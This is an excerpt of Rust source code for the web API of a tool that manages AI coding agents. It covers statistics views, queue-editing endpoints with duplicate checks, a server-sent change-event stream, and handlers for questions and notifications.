5658 fn from(a: &stats::AgentStats) -> Self {
5659 Self {
5660 agent: a.agent.clone(),
5661 entered: a.entered,
5662 wins: a.wins,
5663 empty: a.empty,
5664 win_rate: RateView::of(a.wins, a.entered),
5665 competitive_entered: a.competitive_entered,
5666 competitive_wins: a.competitive_wins,
5667 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5668 solo_entered: a.solo_entered,
5669 solo_adopted: a.solo_adopted,
5670 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5671 }
5672 }
5673}
5674
5675#[derive(Debug, Serialize)]
5679struct ReviewerStatsView {
5680 agent: String,
5681 rounds: usize,
5682 seated: usize,
5683 submitted: usize,
5684 adopted: usize,
5685 unique: usize,
5686 timeouts: usize,
5687 adopted_per_round: Option<f64>,
5688 precision: Option<RateView>,
5689 unique_rate: Option<RateView>,
5690 timeout_rate: Option<RateView>,
5691}
5692
5693impl From<&stats::ReviewerStats> for ReviewerStatsView {
5694 fn from(r: &stats::ReviewerStats) -> Self {
5695 Self {
5696 agent: r.agent.clone(),
5697 rounds: r.rounds,
5698 seated: r.seated,
5699 submitted: r.submitted,
5700 adopted: r.adopted,
5701 unique: r.unique,
5702 timeouts: r.timeouts,
5703 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5704 precision: RateView::of(r.adopted, r.submitted),
5705 unique_rate: RateView::of(r.unique, r.submitted),
5706 timeout_rate: RateView::of(r.timeouts, r.seated),
5707 }
5708 }
5709}
5710
5711#[derive(Debug, Serialize)]
5717struct AdvisorStatsView {
5718 agent: String,
5719 seated: usize,
5720 proposed: usize,
5721 absent: usize,
5722 faint: usize,
5723 strong: usize,
5724 reflection_rate: Option<RateView>,
5725}
5726
5727impl From<&stats::AdvisorStats> for AdvisorStatsView {
5728 fn from(a: &stats::AdvisorStats) -> Self {
5729 Self {
5730 agent: a.agent.clone(),
5731 seated: a.seated,
5732 proposed: a.proposed,
5733 absent: a.absent,
5734 faint: a.faint,
5735 strong: a.strong,
5736 reflection_rate: RateView::of(a.strong, a.proposed),
5737 }
5738 }
5739}
5740
5741#[derive(Debug, Serialize)]
5743struct E2eStatsView {
5744 rounds: usize,
5745 failures: usize,
5746 sole_detections: usize,
5747 deferred: usize,
5748 sole_rate: Option<RateView>,
5749}
5750
5751impl From<&stats::E2eStats> for E2eStatsView {
5752 fn from(e: &stats::E2eStats) -> Self {
5753 Self {
5754 rounds: e.rounds,
5755 failures: e.failures,
5756 sole_detections: e.sole_detections,
5757 deferred: e.deferred,
5758 sole_rate: RateView::of(e.sole_detections, e.failures),
5759 }
5760 }
5761}
5762
5763#[derive(Debug, Serialize)]
5771struct ReleaseBumpStatsView {
5772 merged: usize,
5773 recorded: usize,
5774 pr_opened: usize,
5775 automerge_enabled: usize,
5776 merged_directly: usize,
5777 needs_attention: usize,
5778 clean: usize,
5779 coverage_rate: Option<RateView>,
5780 automerge_rate: Option<RateView>,
5781 attention_rate: Option<RateView>,
5782}
5783
5784impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5785 fn from(b: &stats::ReleaseBumpStats) -> Self {
5786 Self {
5787 merged: b.merged,
5788 recorded: b.recorded,
5789 pr_opened: b.pr_opened,
5790 automerge_enabled: b.automerge_enabled,
5791 merged_directly: b.merged_directly,
5792 needs_attention: b.needs_attention,
5793 clean: b.clean(),
5794 coverage_rate: RateView::of(b.recorded, b.merged),
5795 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5796 attention_rate: RateView::of(b.needs_attention, b.recorded),
5797 }
5798 }
5799}
5800
5801#[derive(Debug, Serialize)]
5803struct TaskCountsView {
5804 queued: usize,
5805 running: usize,
5806 done: usize,
5807 failed: usize,
5808 held: usize,
5809 blocked: usize,
5810 parked: usize,
5811}
5812
5813impl From<crate::queue::TaskCounts> for TaskCountsView {
5814 fn from(c: crate::queue::TaskCounts) -> Self {
5815 Self {
5816 queued: c.queued,
5817 running: c.running,
5818 done: c.done,
5819 failed: c.failed,
5820 held: c.held,
5821 blocked: c.blocked,
5822 parked: c.parked,
5823 }
5824 }
5825}
5826
5827#[derive(Debug, Serialize)]
5833struct RepoSummaryView {
5834 repo: String,
5837 name: String,
5839 runs: usize,
5840 completion_rate: Option<RateView>,
5841}
5842
5843impl From<&stats::RepoStats> for RepoSummaryView {
5844 fn from(r: &stats::RepoStats) -> Self {
5845 let t = &r.stats.totals;
5846 Self {
5847 repo: r.repo.to_string_lossy().into_owned(),
5848 name: r.name.clone(),
5849 runs: t.runs,
5850 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5851 }
5852 }
5853}
5854
5855#[derive(Debug, Serialize)]
5861struct StatsView {
5862 totals: StatsTotalsView,
5863 agents: Vec<AgentStatsView>,
5865 reviewers: Vec<ReviewerStatsView>,
5867 advisors: Vec<AdvisorStatsView>,
5869 e2e: E2eStatsView,
5870 release_bumps: ReleaseBumpStatsView,
5871 queue: TaskCountsView,
5872 runs_unreadable: usize,
5882 repos: Vec<RepoSummaryView>,
5886 daily: Vec<DailyStatsView>,
5891 repo: Option<String>,
5895 retired_hidden: Vec<String>,
5899}
5900
5901#[derive(Debug, Serialize)]
5903struct DailyStatsView {
5904 date: String,
5906 runs: usize,
5907 merged: usize,
5908 ready: usize,
5909 other: usize,
5910 completion_rate: Option<RateView>,
5912}
5913
5914impl From<&stats::DayBucket> for DailyStatsView {
5915 fn from(b: &stats::DayBucket) -> Self {
5916 Self {
5917 date: b.date.to_string(),
5918 runs: b.runs,
5919 merged: b.merged,
5920 ready: b.ready,
5921 other: b.other,
5922 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5923 }
5924 }
5925}
5926
5927const STATS_DAILY_DAYS: usize = 30;
5929
5930#[derive(Debug, Default, Deserialize)]
5939#[serde(default)]
5940struct StatsQuery {
5941 repo: Option<String>,
5942 all: bool,
5944}
5945
5946async fn stats_get(
5953 State(ui): State<Arc<Ui>>,
5954 Query(q): Query<StatsQuery>,
5955) -> ApiResult<Json<StatsView>> {
5956 blocking(move || {
5957 let states: Vec<RunState> = run_ids(&ui.runs)
5958 .into_iter()
5959 .filter_map(|id| read_run(&ui.runs, &id).ok())
5960 .collect();
5961 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5962 .iter()
5963 .map(RepoSummaryView::from)
5964 .collect();
5965 let mut scoped: Vec<&RunState> = states.iter().collect();
5966 let mut collected = match &q.repo {
5967 Some(repo) => {
5968 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5969 if filtered.is_empty() {
5970 return Err(ApiError::not_found(format!(
5971 "no runs recorded against repo `{repo}`"
5972 )));
5973 }
5974 scoped = filtered.clone();
5975 stats::collect_refs(filtered)
5976 }
5977 None => stats::collect(&states),
5978 };
5979 if !q.all {
5980 let repo = q
5981 .repo
5982 .as_deref()
5983 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5984 stats::retain_current_roster(&mut collected, &repo);
5985 }
5986 let daily = stats::daily(
5987 scoped,
5988 jiff::Zoned::now().date(),
5989 &jiff::tz::TimeZone::system(),
5990 STATS_DAILY_DAYS,
5991 );
5992 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5993 Ok(Json(StatsView {
5994 totals: StatsTotalsView::from(&collected.totals),
5995 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5996 reviewers: collected
5997 .reviewers
5998 .iter()
5999 .map(ReviewerStatsView::from)
6000 .collect(),
6001 advisors: collected
6002 .advisors
6003 .iter()
6004 .map(AdvisorStatsView::from)
6005 .collect(),
6006 e2e: E2eStatsView::from(&collected.e2e),
6007 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6008 queue: TaskCountsView::from(queue_counts),
6009 runs_unreadable: runs_unreadable(&ui.runs),
6010 repos,
6011 daily: daily.iter().map(DailyStatsView::from).collect(),
6012 repo: q.repo.clone(),
6013 retired_hidden: collected.retired_hidden.clone(),
6014 }))
6015 })
6016 .await
6017}
6018
6019#[derive(Debug, Default, Deserialize)]
6022#[serde(default, deny_unknown_fields)]
6023struct HoldBody {
6024 reason: Option<String>,
6025}
6026
6027async fn queue_hold(
6028 State(ui): State<Arc<Ui>>,
6029 Path(id): Path<String>,
6030 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6031) -> ApiResult<Json<TaskView>> {
6032 let body = match body {
6036 Ok(Json(body)) => body,
6037 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6038 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6039 };
6040 let reason = body.reason.filter(|r| !r.trim().is_empty());
6041 mutate(ui, id, move |t| {
6042 t.hold_manual(reason.clone());
6043 Ok(())
6044 })
6045 .await
6046}
6047
6048async fn queue_release(
6049 State(ui): State<Arc<Ui>>,
6050 Path(id): Path<String>,
6051) -> ApiResult<Json<TaskView>> {
6052 mutate(ui, id, |t| {
6053 t.release_operator("web", None);
6054 Ok(())
6055 })
6056 .await
6057}
6058
6059#[derive(Debug, Deserialize)]
6060#[serde(deny_unknown_fields)]
6061struct AttemptLimitBody {
6062 attempt_limit: serde_json::Value,
6064}
6065
6066async fn queue_attempt_limit(
6067 State(ui): State<Arc<Ui>>,
6068 Path(id): Path<String>,
6069 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6070) -> ApiResult<Json<TaskView>> {
6071 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6072 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6073 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6074 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6075}
6076
6077#[derive(Debug, Deserialize)]
6078#[serde(deny_unknown_fields)]
6079struct ImplementersBody {
6080 implementers: u8,
6081}
6082
6083async fn queue_implementers(
6084 State(ui): State<Arc<Ui>>,
6085 Path(id): Path<String>,
6086 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6087) -> ApiResult<Json<TaskView>> {
6088 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6089 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6090}
6091
6092#[derive(Debug, Deserialize)]
6093#[serde(deny_unknown_fields)]
6094struct UrgentBody {
6095 urgent: bool,
6096}
6097
6098async fn queue_urgent(
6099 State(ui): State<Arc<Ui>>,
6100 Path(id): Path<String>,
6101 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6102) -> ApiResult<Json<TaskView>> {
6103 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6104 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6105}
6106
6107#[derive(Debug, Deserialize)]
6109#[serde(deny_unknown_fields)]
6110struct PriorityBody {
6111 priority: i32,
6112}
6113
6114async fn queue_priority(
6120 State(ui): State<Arc<Ui>>,
6121 Path(id): Path<String>,
6122 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6123) -> ApiResult<Json<TaskView>> {
6124 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6125 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6126}
6127
6128#[derive(Debug, Deserialize)]
6130#[serde(deny_unknown_fields)]
6131struct EditBody {
6132 title: String,
6133 instruction: String,
6134 #[serde(default)]
6137 force: bool,
6138}
6139
6140async fn queue_edit(
6144 State(ui): State<Arc<Ui>>,
6145 Path(id): Path<String>,
6146 body: std::result::Result<Json<EditBody>, JsonRejection>,
6147) -> ApiResult<Json<TaskView>> {
6148 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6149 let mut judged: Option<(String, PathBuf)> = None;
6153 if !body.force {
6154 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6155 let (id, text) = (id.clone(), body.instruction.clone());
6156 let (seen, hits) = blocking(move || {
6157 let id = resolve_task(&queue, &id)?;
6158 let t = queue.get(&id)?;
6159 if text == t.instruction {
6160 return Ok((None, Vec::new()));
6161 }
6162 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6163 Ok((Some((t.instruction, t.repo)), hits))
6164 })
6165 .await?;
6166 if let Some((_, repo)) = &seen {
6167 let cfg = crate::config::Config::discover(repo, None)
6168 .ok()
6169 .map(|(c, _)| c);
6170 let screened =
6171 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6172 .await
6173 .map_err(|dup| {
6174 ApiError::conflict(dup.render(
6175 "Nothing was saved. If it is not a duplicate, repeat the request \
6176 with \"force\": true.",
6177 ))
6178 })?;
6179 if let crate::dupes::Screened::Unjudged(why) = screened {
6180 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6181 }
6182 }
6183 judged = seen;
6184 }
6185 let force = body.force;
6186 mutate(ui, id, move |t| {
6187 if !force && body.instruction != t.instruction {
6188 match &judged {
6189 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6190 _ => {
6191 anyhow::bail!("the task changed while it was being checked; repeat the request")
6192 }
6193 }
6194 }
6195 t.edit(body.title.clone(), body.instruction.clone())
6196 })
6197 .await
6198}
6199
6200async fn queue_done(
6208 State(ui): State<Arc<Ui>>,
6209 Path(id): Path<String>,
6210) -> ApiResult<Json<TaskView>> {
6211 let home = ui.home.clone();
6212 mutate(ui, id, move |t| {
6213 t.succeed();
6214 crate::daemon::supersede_prior_runs(t, &home);
6222 Ok(())
6223 })
6224 .await
6225}
6226
6227async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6235 blocking(move || {
6236 let id = resolve_task(&ui.queue, &id)?;
6237 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6238 ui.queue
6239 .remove(&id, in_flight, &ui.questions)
6240 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6241 Ok(StatusCode::NO_CONTENT)
6242 })
6243 .await
6244}
6245
6246async fn mutate(
6255 ui: Arc<Ui>,
6256 id: String,
6257 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6258) -> ApiResult<Json<TaskView>> {
6259 blocking(move || {
6260 let id = resolve_task(&ui.queue, &id)?;
6261 let _claim = ui.queue.claim(&id).map_err(|e| {
6266 ApiError::conflict(format!(
6267 "{e:#} - a daemon is running this task, so it cannot be \
6268 changed from here yet; wait until it is released, then retry"
6269 ))
6270 })?;
6271 let mut task = ui.queue.get(&id)?;
6272 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6273 Ok(dup) => ApiError::conflict(dup.render(
6274 "Nothing was saved. If it is not a duplicate, repeat the request with \
6275 \"force\": true.",
6276 )),
6277 Err(e) => ApiError::bad_request_from(e),
6278 })?;
6279 ui.queue.put(&mut task)?;
6280 Ok(Json(TaskView::from(task)))
6281 })
6282 .await
6283}
6284
6285async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6293 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6294 tokio::spawn(async move {
6295 let mut ticker = tokio::time::interval(POLL);
6296 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6297 let mut stamps: Option<[Stamps; 3]> = None;
6298 loop {
6299 ticker.tick().await;
6302 let state = Arc::clone(&ui);
6303 let revisions = tokio::task::spawn_blocking(move || {
6304 let stamps = [
6305 store_stamps(state.queue.root(), false),
6306 store_stamps(&state.runs, true),
6307 store_stamps(state.talks.root(), false),
6308 ];
6309 let revisions = (
6310 stamps_revision(&stamps[0]),
6311 stamps_revision(&stamps[1]),
6312 state.questions.revision(),
6313 stamps_revision(&stamps[2]),
6314 state.notices.revision(),
6315 state.lock_loop().rev,
6319 );
6320 (revisions, stamps)
6321 })
6322 .await;
6323 let Ok((revisions, next_stamps)) = revisions else {
6324 break;
6325 };
6326 if last == Some(revisions) {
6327 continue;
6328 }
6329 let mut payload = serde_json::json!({
6330 "queue_rev": revisions.0,
6331 "runs_rev": revisions.1,
6332 "questions_rev": revisions.2,
6333 "talks_rev": revisions.3,
6334 "notifications_rev": revisions.4,
6335 "loop_rev": revisions.5,
6336 });
6337 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6338 for (index, (key, rev)) in [
6339 ("queue_delta", base.0),
6340 ("runs_delta", base.1),
6341 ("talks_delta", base.3),
6342 ]
6343 .into_iter()
6344 .enumerate()
6345 {
6346 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6347 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6349 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6350 }
6351 }
6352 }
6353 last = Some(revisions);
6354 stamps = Some(next_stamps);
6355 let Ok(event) = Event::default().event("change").json_data(payload) else {
6357 break;
6358 };
6359 if tx.send(event).await.is_err() {
6360 break;
6361 }
6362 }
6363 });
6364 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6365 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6366}
6367
6368type Stamps = HashMap<String, (u128, u64)>;
6369
6370fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6372 std::fs::read_dir(root)
6373 .into_iter()
6374 .flatten()
6375 .flatten()
6376 .filter_map(|entry| {
6377 let path = if runs {
6378 entry.path().join("run.json")
6379 } else {
6380 entry.path()
6381 };
6382 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6383 return None;
6384 }
6385 let metadata = path.metadata().ok()?;
6386 let modified = metadata
6387 .modified()
6388 .ok()?
6389 .duration_since(std::time::UNIX_EPOCH)
6390 .ok()?;
6391 let id = if runs {
6392 entry.file_name().to_string_lossy().into_owned()
6393 } else {
6394 path.file_stem()?.to_string_lossy().into_owned()
6395 };
6396 Some((id, (modified.as_nanos(), metadata.len())))
6397 })
6398 .collect()
6399}
6400
6401#[derive(Debug, Serialize)]
6402struct Delta {
6403 base: u64,
6404 changed: Vec<String>,
6405 removed: Vec<String>,
6406}
6407
6408fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6409 let mut changed: Vec<_> = next
6410 .iter()
6411 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6412 .map(|(id, _)| id.clone())
6413 .collect();
6414 let mut removed: Vec<_> = previous
6415 .keys()
6416 .filter(|id| !next.contains_key(*id))
6417 .cloned()
6418 .collect();
6419 changed.sort_unstable();
6420 removed.sort_unstable();
6421 Delta {
6422 base,
6423 changed,
6424 removed,
6425 }
6426}
6427
6428fn runs_revision(runs: &FsPath) -> u64 {
6435 stamps_revision(&store_stamps(runs, true))
6436}
6437
6438fn stamps_revision(stamps: &Stamps) -> u64 {
6442 use std::hash::{Hash as _, Hasher as _};
6443 if stamps.is_empty() {
6444 return 0;
6445 }
6446 let mut entries: Vec<_> = stamps.iter().collect();
6447 entries.sort_unstable();
6448 let mut hasher = std::hash::DefaultHasher::new();
6449 entries.hash(&mut hasher);
6450 hasher.finish().max(1)
6451}
6452
6453fn run_ids(runs: &FsPath) -> Vec<String> {
6459 let mut ids: Vec<String> = std::fs::read_dir(runs)
6460 .into_iter()
6461 .flatten()
6462 .flatten()
6463 .filter(|e| e.path().join("run.json").is_file())
6464 .map(|e| e.file_name().to_string_lossy().into_owned())
6465 .collect();
6466 ids.sort_unstable_by(|a, b| b.cmp(a));
6468 ids
6469}
6470
6471fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6473 let path = runs.join(id).join("run.json");
6474 let body =
6475 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6476 let state: RunState =
6477 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6478 run::migrate_schema(state)
6483}
6484
6485#[must_use]
6493pub fn runs_unreadable(runs: &FsPath) -> usize {
6494 run_ids(runs)
6495 .into_iter()
6496 .filter(|id| read_run(runs, id).is_err())
6497 .count()
6498}
6499
6500fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6502 if runs.join(id).join("run.json").is_file() {
6503 return Ok(id.to_owned());
6504 }
6505 pick(run_ids(runs), id, "run")
6506}
6507
6508fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6510 if queue.path_of(id).is_file() {
6511 return Ok(id.to_owned());
6512 }
6513 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6514}
6515
6516#[derive(Debug, Serialize)]
6527struct QuestionView {
6528 #[serde(flatten)]
6529 question: Question,
6530 detail_md: Vec<md::Node>,
6531 posting_view: Option<PostingView>,
6532 thread_bodies_md: Vec<Vec<md::Node>>,
6534 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6537 waiting_on_agent: bool,
6547 holder: Option<&'static str>,
6551 deputies_enabled: bool,
6555 deputy_exhausted: bool,
6558 text_delivery: crate::question_delivery::Availability,
6559 run_is_task: bool,
6562 origin_chat: Option<String>,
6565 origin_chat_closed: bool,
6567 can_consult_chat: bool,
6569}
6570
6571#[derive(Debug, Serialize)]
6572struct PostingView {
6573 before_md: Vec<md::Node>,
6574 after_md: Vec<md::Node>,
6575 fields: Vec<crate::github_text::ComparisonView>,
6576}
6577
6578fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6579 let comparison = question.posting_comparison.as_ref()?;
6580 if !comparison.matches_detail(&question.detail) {
6581 return None;
6582 }
6583 let mut ids = std::collections::BTreeSet::new();
6584 if comparison.fields.is_empty()
6585 || comparison
6586 .fields
6587 .iter()
6588 .flat_map(|f| &f.pairs)
6589 .any(|p| !ids.insert(p.id))
6590 || comparison
6591 .fields
6592 .iter()
6593 .flat_map(|f| &f.original_triggers)
6594 .any(|t| !ids.insert(t.id))
6595 {
6596 return None;
6597 }
6598 let fields = comparison
6599 .fields
6600 .iter()
6601 .map(|f| f.view(comparison.excerpt))
6602 .collect::<Option<Vec<_>>>()?;
6603 Some(PostingView {
6604 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6605 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6606 fields,
6607 })
6608}
6609
6610impl QuestionView {
6611 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6615 let base = md::ImageBase::QuestionPanel {
6616 id: question.id.clone(),
6617 };
6618 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6619 Self {
6620 detail_md: md::to_nodes(&question.detail, &base),
6621 posting_view: posting_view(&question, &base),
6622 thread_bodies_md: question
6623 .thread
6624 .iter()
6625 .map(|t| md::to_nodes(&t.body, &base))
6626 .collect(),
6627 thread_notes_md: question
6628 .thread
6629 .iter()
6630 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6631 .collect(),
6632 deputy_exhausted: store.deputy_exhausted(&question),
6633 waiting_on_agent: question.waiting_on_agent(),
6634 holder,
6635 deputies_enabled: deputies_enabled(cfg, &question),
6636 text_delivery: crate::question_delivery::availability(store, &question, cfg),
6637 run_is_task: question.run_names_task(),
6638 origin_chat: None,
6639 origin_chat_closed: false,
6640 can_consult_chat: false,
6641 question,
6642 }
6643 }
6644
6645 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6647 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6648 self.can_consult_chat = consult.is_some();
6649 let talk =
6650 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6651 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6652 self.origin_chat = talk.map(|t| t.id);
6653 self
6654 }
6655}
6656
6657fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6661 Config::discover(repo, None).ok().map(|(c, _)| c)
6662}
6663
6664fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6666 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6667}
6668
6669fn question_views(
6672 qs: Vec<Question>,
6673 store: &ask::Questions,
6674 load: impl FnOnce() -> Option<Config>,
6675) -> Vec<QuestionView> {
6676 if qs.is_empty() {
6677 return Vec::new();
6678 }
6679 let cfg = load();
6680 qs.into_iter()
6681 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6682 .collect()
6683}
6684
6685fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6695 if !q.status.open() {
6696 return None;
6697 }
6698 if q.cwd.is_none()
6699 && q.deputy.is_none()
6700 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6701 {
6702 return crate::deputy::kind_of(q).map(|_| "nobody");
6703 }
6704 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6705 Some(_) if q.deputy.is_some() => "deputy",
6706 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6707 Some(_) => "asker",
6708 None => "nobody",
6709 })
6710}
6711
6712async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6718 blocking(move || {
6719 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6720 Ok(Json(
6721 question_views(ui.questions.list(), &ui.questions, || {
6722 deputy_config(&ui.repo)
6723 })
6724 .into_iter()
6725 .map(|v| v.with_origin(&tasks, &talks))
6726 .collect(),
6727 ))
6728 })
6729 .await
6730}
6731
6732async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6735 blocking(move || {
6736 let items = ui.notices.list();
6737 let unread = items.iter().filter(|n| n.unread()).count();
6738 let items: Vec<_> = items
6739 .into_iter()
6740 .map(|n| {
6741 let question = crate::notices::answerable_question(&n, &ui.questions);
6742 let mut item = serde_json::to_value(n)?;
6743 item["answerable_question"] = serde_json::json!(question);
6744 Ok(item)
6745 })
6746 .collect::<anyhow::Result<_>>()?;
6747 Ok(Json(
6748 serde_json::json!({ "unread": unread, "items": items }),
6749 ))
6750 })
6751 .await
6752}
6753
6754fn notice_error(e: anyhow::Error) -> ApiError {
6755 ApiError::not_found(format!("{e:#}"))
6758}
6759
6760async fn notification_read(
6762 State(ui): State<Arc<Ui>>,
6763 Path(id): Path<String>,
6764) -> ApiResult<Json<Notice>> {
6765 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6766}
6767
6768async fn notification_dismiss(
6770 State(ui): State<Arc<Ui>>,
6771 Path(id): Path<String>,
6772) -> ApiResult<Json<Notice>> {
6773 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6774}
6775
6776async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6778 blocking(move || {
6779 let changed = ui.notices.mark_all_read()?;
6780 Ok(Json(serde_json::json!({ "marked": changed })))
6781 })
6782 .await
6783}
6784
6785#[derive(Debug, Default, Deserialize)]
6791#[serde(default, deny_unknown_fields)]
6792struct NewAnswer {
6793 choice: Option<String>,
6794 text: Option<String>,
6795}
6796
6797async fn question_answer(
6798 State(ui): State<Arc<Ui>>,
6799 Path(id): Path<String>,
6800 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6801) -> ApiResult<Json<QuestionView>> {
6802 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6803 let answer = match (body.choice, body.text) {
6804 (Some(c), None) => Answer::Choice(c),
6805 (None, Some(t)) => Answer::Text(t),
6806 (Some(_), Some(_)) => {
6807 return Err(ApiError::bad_request(
6808 "send either `choice` or `text`, not both",
6809 ));
6810 }
6811 (None, None) => {
6812 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6813 }
6814 };
6815
6816 blocking(move || {
6817 let id = resolve_question(&ui.questions, &id)?;
6818 let q = ui
6819 .questions
6820 .get(&id)
6821 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6822 if !q.status.open() {
6823 return Err(ApiError::conflict(format!(
6827 "question {} is already {}",
6828 q.short(),
6829 q.status.as_str()
6830 )));
6831 }
6832 let cfg = deputy_config(&ui.repo);
6836 let (q, ()) = ui
6837 .questions
6838 .update(&q.id, |r| r.answer(answer))
6839 .map_err(ApiError::bad_request_from)?;
6840 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6841 Ok(Json(
6842 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6843 ))
6844 })
6845 .await
6846}
6847
6848fn question_text_error(e: anyhow::Error) -> ApiError {
6850 let reason = e
6851 .downcast_ref::<crate::question_delivery::TextUnavailable>()
6852 .map(|e| e.reason);
6853 let error = ApiError::bad_request_from(e);
6854 if let Some(reason) = reason {
6855 ApiError {
6856 text_reason: Some(reason),
6857 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6858 }
6859 } else {
6860 error
6861 }
6862}
6863
6864#[derive(Debug, Deserialize)]
6866#[serde(deny_unknown_fields)]
6867struct NewSay {
6868 body: String,
6869}
6870
6871async fn question_say(
6881 State(ui): State<Arc<Ui>>,
6882 Path(id): Path<String>,
6883 body: std::result::Result<Json<NewSay>, JsonRejection>,
6884) -> ApiResult<Json<QuestionView>> {
6885 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6886 blocking(move || {
6887 let id = resolve_question(&ui.questions, &id)?;
6888 let q = ui
6889 .questions
6890 .get(&id)
6891 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6892 if !q.status.open() {
6893 return Err(ApiError::conflict(format!(
6897 "question {} is already {}",
6898 q.short(),
6899 q.status.as_str()
6900 )));
6901 }
6902 let cfg = deputy_config(&ui.repo);
6905 let (q, ()) = ui
6906 .questions
6907 .update(&q.id, |r| {
6908 if body.body.trim().is_empty() {
6909 return r.say(body.body);
6910 }
6911 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6912 r.say(body.body)
6913 })
6914 .map_err(question_text_error)?;
